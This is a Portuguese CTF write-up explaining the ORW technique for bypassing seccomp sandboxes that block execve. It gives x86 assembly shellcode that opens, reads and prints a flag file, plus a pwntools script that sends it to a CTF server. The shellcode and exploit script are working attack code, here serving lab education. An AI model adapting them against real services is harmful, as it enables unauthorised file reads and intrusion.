Em diversos cenários de exploração de binários (CTFs), encontramos proteções de sandbox via seccomp que restringem as chamadas de sistema (syscalls) permitidas. Quando a syscall execve está bloqueada, não conseguimos obter uma shell direta. Nestes casos, utilizamos a técnica ORW, um acrônimo para Open, Read e Write.
A Lógica da Técnica ORW
O objetivo é ler um arquivo específico do servidor (geralmente nomeado como flag) seguindo três passos fundamentais:
- Open: Abrir o arquivo de destino para obter um descritor de arquivo (file descriptor - fd).
- Read: Ler o conteúdo desse arquivo para uma região da memória (buffer).
- Write: Escrever o conteúdo armazenado no buffer para a saída padrão (stdout), permitindo a visualização da flag.
Desenvolvimento do Shellcode em Assembly x86
Para arquiteturas i386 (32 bits), as syscalls são invocadas via int 0x80. O caminho do arquivo ./flag precisa ser colocado na stack. Como a stack cresce para baixo e os dados são lidos em Little Endian, devemos organizar os bytes cuidadosamente.
A string ./flag convertida para hexadecimal resulta em 2e2f666c6167. Para alinhar em blocos de 4 bytes, adicionamos bytes nulos (null bytes), resultando em 2e2f666c (./fl) e 61670000 (ag\0\0).
; Estrutura do Shellcode em Assembly
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; Colocando a string "./flag" na stack
push 0x00006761 ; "ag\0\0"
push 0x6c662f2e ; "lf/."
; 1. Syscall Open (eax = 5)
; fd = open(esp, 0, 0)
mov eax, 5
mov ebx, esp ; Endereço da string na stack
mov ecx, 0 ; O_RDONLY
mov edx, 0
int 0x80
; 2. Syscall Read (eax = 3)
; read(fd, esp, 0x40)
mov ebx, eax ; eax contém o fd retornado pelo open
mov eax, 3
mov ecx, esp ; Buffer para armazenar o conteúdo
mov edx, 0x40 ; Quantidade de bytes a ler
int 0x80
; 3. Syscall Write (eax = 4)
; write(1, esp, 0x40)
mov eax, 4
mov ebx, 1 ; stdout
mov ecx, esp ; Buffer com os dados lidos
mov edx, 0x40
int 0x80
Automação do Exploit com Pwntoosl
Abaixo, apresentamos um script em Python utilizando a biblioteca pwntools para automatizar o envio do shellcode e a captura da resposta do servidor.
from pwn import *
# Configurações de ambiente
context.update(arch='i386', os='linux', log_level='debug')
def disparar_exploit(alvo):
# Recebe a mensagem inicial do binário
print(alvo.recv().decode())
# Construção do payload assembly
codigo_asm = """
/* Limpeza de registradores */
xor eax, eax
xor ebx, ebx
/* Caminho: ./flag */
push 0x00006761
push 0x6c662f2e
/* Invocação de Open */
mov eax, 5
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
/* Invocação de Read */
mov ebx, eax
mov eax, 3
mov ecx, esp
mov edx, 0x50
int 0x80
/* Invocação de Write */
mov eax, 4
mov ebx, 1
mov ecx, esp
mov edx, 0x50
int 0x80
"""
# Compilação e envio do shellcode
payload = asm(codigo_asm)
alvo.sendline(payload)
# Transição para modo interativo para ver o resultado
alvo.interactive()
if __name__ == "__main__":
host_remoto = 'node5.buuoj.cn'
porta_remota = 25178
try:
# Tenta conexão remota se argumentos forem passados, caso contrário, processo local
if len(sys.argv) > 1:
conexao = remote(host_remoto, porta_remota)
else:
conexao = process('./orw')
disparar_exploit(conexao)
except Exception as erro:
print(f"Erro na execução: {erro}")
Considerações Técnicas e Depuração
Ao realizar testes locais, certifique-se de que o arquivo flag exista no mesmo diretório do binário. Em ambientes de depuração como o GDB, é comum observar falhas de segmentação se o shellcode tentar acessar áreas de memória protegidas ou se os registradores não forem devidamente limpos antes das operações.
A utilização do int 0x80 é específica para sistemas x86 de 32 bits. Em sistemas de 64 bits (x64), as syscalls seguem uma convenção de chamada diferente (utilizando a instrução syscall e registradores como rdi, rsi e rdx), e os números das syscalls para Open, Read e Write também mudam.